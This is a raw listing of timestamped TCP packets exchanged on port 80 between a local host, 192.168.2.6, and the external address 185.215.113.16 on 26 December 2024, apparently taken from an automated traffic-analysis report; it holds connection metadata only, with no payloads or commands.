Dec 26, 2024 12:52:15.581800938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.581881046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.582036018 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.582650900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.582746029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.582787991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.583576918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.583741903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.583810091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.584366083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.584450006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.584657907 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.585268021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.585447073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.585490942 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.586004019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.751851082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.751916885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.751960039 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.752192974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.752283096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.752327919 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.753061056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.753120899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.753370047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.753577948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.753727913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.754199028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.754326105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.754371881 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.755095005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.755217075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.755256891 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.755896091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.755987883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.756244898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.756910086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.757035017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.757111073 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.757642984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.757774115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.757869959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.758476973 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.758665085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.758779049 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.759537935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.759754896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.759865046 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.760180950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.760309935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.760432959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.761077881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.761233091 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.761464119 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.762001991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.762186050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.762259960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.763151884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.763170958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.763205051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.763577938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.763760090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.763803005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.764458895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.764559984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.764626026 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.765360117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.765381098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.765439987 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.766307116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.766364098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.766426086 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.767016888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.767139912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.767185926 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.767883062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.767966032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.768138885 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.768763065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.768873930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.768912077 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.769601107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.769763947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.769808054 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.770418882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.770529985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.770566940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.771373987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.771446943 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.771521091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.772247076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.772268057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.772301912 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.773082972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.773250103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.773293972 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.773854971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.773946047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.773992062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.774714947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.774852991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.774899006 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.775571108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.775665045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.775706053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.776400089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.776547909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.776865959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.777259111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.777367115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.777415991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.778137922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.778428078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.778470993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.778968096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.779113054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.779187918 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.779872894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.779985905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.780118942 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.780679941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.780823946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.780880928 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.781549931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.781666994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.781719923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.782352924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.782497883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.782538891 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.783214092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.783344984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.783473969 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.784162998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.784225941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.784388065 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.784951925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.785077095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.785118103 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.785835028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.785902977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.786077023 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.786638021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.786703110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.786859989 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.787492990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.787679911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.787724018 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.788335085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.788474083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.788526058 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.789210081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.789266109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.789316893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.790406942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.790544987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.790604115 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.790916920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.790955067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.791006088 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.791877985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.792043924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.792651892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.792702913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.792746067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.793503046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.793554068 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.793636084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.794409037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.794452906 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.794543982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.794840097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.795160055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.795304060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.795361042 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.796166897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.796252966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.796303034 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.962625980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.962671041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.962722063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.962941885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.963020086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.963056087 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.963779926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.963877916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.964020014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.964628935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.964736938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.964780092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.965507030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.965683937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.965718031 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.966377020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.966475964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.966521978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.967209101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.967360020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.967489004 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.968070030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.968169928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.968211889 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.968925953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.969016075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.969054937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.969793081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.969904900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.969944954 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.970619917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.970722914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.970772028 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.971492052 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.971575975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.971625090 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.972322941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.972429991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.972496033 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.973144054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.973308086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.973351955 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.974030972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.974081993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.974123955 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.974920034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.975011110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.975217104 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.975732088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.975857019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.975900888 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.976562977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.976689100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.976743937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.977411032 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.977521896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.977565050 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.978302002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.978405952 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.978450060 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.979147911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.979243040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.979285002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.980029106 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.980112076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.980155945 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.980822086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.980950117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.981230974 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.981693029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.981828928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.981874943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.982563019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.982655048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.982697010 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.983395100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.983499050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.983652115 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.984257936 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.984317064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.984407902 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.985110998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.985220909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.985364914 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.985950947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.986035109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.986123085 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.986788988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.986920118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.986983061 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.987668037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.987787008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.987833977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.988529921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.988600969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.988657951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.989347935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.989475012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.989562988 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.990209103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.990329027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.990374088 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.991086960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.991249084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.991326094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.992012978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.992089987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.992132902 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.992747068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.992867947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.992947102 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.993664980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.993740082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.993796110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.994510889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.994568110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.994607925 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.995341063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.995491028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.995584965 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.996191978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.996299982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.996603966 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.997035027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.997196913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.997240067 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.997884989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.998195887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.998290062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.998856068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.998959064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.999008894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:15.999742031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:15.999845982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.000339985 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.000456095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.000549078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.000591993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.001291037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.001434088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.001467943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.002135992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.002265930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.002315998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.003006935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.003140926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.003236055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.003881931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.003964901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.004010916 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.004729033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.004842997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.004913092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.005558014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.005657911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.005697012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.006402969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.006545067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.006582975 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.006911039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.007210970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.121699095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.173506021 CET	80	49842	185.215.113.16	192.168.2.6
